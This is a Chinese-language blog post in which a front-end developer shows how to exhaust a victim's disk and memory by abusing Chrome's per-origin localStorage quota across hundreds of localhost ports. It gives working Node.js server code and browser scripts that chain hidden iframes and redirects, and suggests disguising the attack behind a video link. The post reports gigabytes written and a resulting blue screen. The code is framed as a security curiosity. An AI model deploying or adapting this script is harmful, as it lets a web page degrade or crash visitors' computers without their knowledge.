有人说,前端的界限就在浏览器那儿。

无论你触发了多少bug,最多导致浏览器崩溃,对系统影响不到哪去。
这就像二次元各种炫酷的毁灭世界,都不会导致三次元的世界末日。
然而,作为一个前端,我发现是有方式打开次元大门的…

这个实验脑洞较大,动机无聊,但某种意义上反映了一些安全问题
想象一下,有天你在家里上网,吃着火锅还唱着歌,点开一个链接,电脑突然就蓝屏了!想想还真有点小激动。

起因

故事得从localStorage说起。

html5的本地存储,相信大家都不陌生。将数据以二进制文件形式存储到本地,在当前应用得非常广泛。
windows下的chrome,localStorage存储于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage文件夹中。但如果任由网页无限写文件,对用户硬盘的伤害可想而知,因而浏览器对其做了大小限制。

对于一个域名+端口,PC侧的上限是5M-10M之间,移动侧是则不大于2.5M。

那么问题就变成:这样的限制足够保护用户硬盘了吗

关键

关键的问题在于,这一限制,针对的是一个域名+端口
也就是说,你访问同一个域名的不同端口,它们的localStorage并无关联,是分开存储的。

我用node简单地开启了服务器,这时,用户访问http://127.0.0.1:1000http://127.0.0.1:1099这100个端口,会请求到同一个页面:index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var http = require('http');
var fs = require('fs');

//100个端口
for(var port = 1000; port< 1100; port++){
http.createServer(function (request, response) {
//请忽略这种循环读文件的方式,只为了简便
fs.readFile('./index.html', function(err, content){
if(err) {
} else {
response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
response.write(content);
response.end();
}
});
}).listen(port, '127.0.0.1');
}

当然,这个index.html里涉及了localStorage写操作。

1
2
3
4
5
6
var s = "";
//慢慢来,别写太大了,好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem("testData", s);

我试着用浏览器分别访问了几个端口,结果是分开存储。一切跟剧本一样。

自动遍历

但这种程度还不够。
如果要实验变得更好(xie)玩(e)一些,问题就变成如何让用户自动遍历这些端口

iframe是个好的尝试。
只要一打开http://127.0.0.1: 1000,页面的脚步就会创建一个iframe,去请求http://127.0.0.1: 1001,一直循环下去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var Main = (function(){
var _key = "testData";
var _max = 1100; //最大限制
return {
init: function(){
//慢慢来,别写太大了,好害怕…
var s = "";
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem(_key, s);

var port = parseInt(location.port)+1;
if(port > _max) return;

//新添加iframe
var url = "http://127.0.0.1:" + port;
var $iframe = document.createElement("iframe");
$iframe.src = url;
document.getElementsByTagName("body")[0].appendChild($iframe);
}
}
})();

当然iframe我们还可以设置为不可见,以掩盖这种不厚道的行为…
比方说,有人发给你一个链接,你打开后发现是个视频,而你根本注意不到背后的脚本,在视频播放的几分钟里,快要把你的C盘写满。

然后我就看到请求如潮水渐涨:

但是,请求到1081端口,最新的chrome就崩溃掉了…原来iframe嵌套太多,已经到达了浏览器的极限。

###防止浏览器崩溃

C盘还未撑满,同志还需努力。怎么办?

突然想到,到达iframe极限之前,我们可以重定向啊。
每访问50个端口,就使用window.location.href重定向一次,去确保浏览器不崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var Main = (function(){
var _key = "testData";
var _max = 1200; //最大限制
var _jumpSpace = 50; //为避免iframe过多导致浏览器crash,每50个执行跳转

return {
init: function(){
//慢慢来,别写太大了,好害怕…
var s = "";
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem(_key, s);

var port = parseInt(location.port)+1;
if(port > _max) return;

if(port % _jumpSpace == 0){
//每50个,重定向一次
window.location.href = url;
}else{
//新添加iframe
var $iframe = document.createElement("iframe");
$iframe.src = url;
document.getElementsByTagName("body")[0].appendChild($iframe);
}
}
}
})();

事实证明,这种蛮拼的方法的确可行。

至此,只要访问http://127.0.0.1: 1000,就会往Local Storage文件夹里写入近500M无用数据:

里面的数据是这样的:

继续实验的黑科技

算了下我的C盘还有空间嘛,那就把端口数量从100增长到200个。
结果是这样的,到达了1.17G大小。

在后续的实验中,我就慢慢的把端口数量与存储的数据调大。

电脑也运行得越来越慢。这是为什么呢?

我观察到,有时候执行localStorage.setItem()后,在文件夹里不一定立即能看到数据文件。
怀疑这些数据会被chrome先放到内存里,以避免重复读写带来的消耗,在空闲或关闭的时机,再写进硬盘里。

但此时,浏览器已经影响到系统了。它处于一种“不会崩溃”,但“因为占用了许多内存,已经妨碍用户电脑的正常使用”的状态。
即使用户关闭了浏览器窗口,也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的,否则浏览器会丢失数据。

遭遇黑科技的人们能做的只有:

  1. 等待;
  2. 用任务管理器关掉chrome进程,再等待;
  3. 相信并尝试“重启电脑解决90%电脑问题”的科学论断

可以说,浏览器的内心几乎是崩溃的。

最后

最后,还是得用严肃脸告诫一下:害人之心不可无。
本实验,从一开始就是怀揣着将安全问题上交给国家的初衷去做的(是的就是这么纯粹)。

后续,看着C盘还有2G空间,我又把端口增长到2000个,试下会发生什么。
由于请求过多,需要一定时间,我就去做别的事情了。
回来后发现房间安静祥和,美轮美奂,一片蓝光,像是加了特技。

那么问题来了,计算机修理哪家强?
有点急…